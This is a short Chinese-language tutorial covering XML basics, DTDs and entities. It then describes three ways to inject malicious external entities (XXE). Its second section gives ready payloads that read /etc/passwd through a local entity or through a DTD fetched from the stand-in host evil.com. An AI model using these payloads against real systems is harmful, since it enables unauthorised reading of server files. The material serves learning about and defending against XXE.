08.XML基础

1. XML基础

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型.
是一种允许用户对自己的标记语言进行定义的源语言。
XML文档结构包括XML声明、DTD文档类型定义、文档元素。

<?xml version="1.0" ?> <!--XML声明-->
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,bodys)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from  (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT bodys (#PCDATA)>
]><!--文档类型定义-->
<note>
	<to>北京</to><from>石家庄</from>
	<heading>wintrysec</heading><bodys>wintrysec.github.io</bodys>
</note><!--文档元素-->
  • DTD(文档类型定义)的作用是定义xml文档的合法构建模块。
  • DTD 可以在 XML 文档内声明,也可以外部引用。
  • PCDATA 指的是被解析的字符数据(Parsed Character Data)XML解析器通常会解析XML文档中所有的文本
<message>此文本会被解析</message>

当某个XML元素被解析时,其标签之间的文本也会被解析:

<name><first>Bill</first><last>Gates</last></name>
<!--内部声明DTD-->
<!DOCTYPE 根元素 [元素声明]>
<!--引用外部DTD-->
<!DOCTYPE 根元素 SYSTEM “文件名”>
<!--或者-->
<!DOCTYPE 根元素 PUBLIC “public_ID” “文件名”>
<!--DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。-->

<!--内部声明实体-->
<!ENTITY 实体名称 “实体的值">
<!--引用外部实体-->
<!ENTITY 实体名称 SYSTEM “URI">
<!--或者-->
<!ENTITY 实体名称 PUBLIC “public_ID" “URI">

2. 恶意引入外部实体的三种方式

2.1. 本地引入

XML内容:

<?xml version="1.0" ?> <!--XML声明-->
<!DOCTYPE x[
	<!ENTITY wintrysec SYSTEM "file:///etc/passwd">
]><!--文档类型定义-->
<test>&wintrysec;</test><!--文档元素-->

一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号

2.2. 远程引入

XML内容:

<?xml version="1.0" ?> <!--XML声明-->
<!DOCTYPE x[
	<!ENTITY %d SYSTEM "http://evil.com/evil.dtd">
	%d;
]><!--文档类型定义-->
<test>&wintrysec;</test><!--文档元素-->

DTD文件(evil.dtd)内容:

<!ENTITY wintrysec SYSTEM “file:///etc/passwd">

2.3. 远程引入2

<?xml version="1.0" ?>
<!DOCTYPE x SYSTEM "http://evil.com/evil.dtd">
<test>&wintrysec;</test>

另外,不同程序支持的协议不一样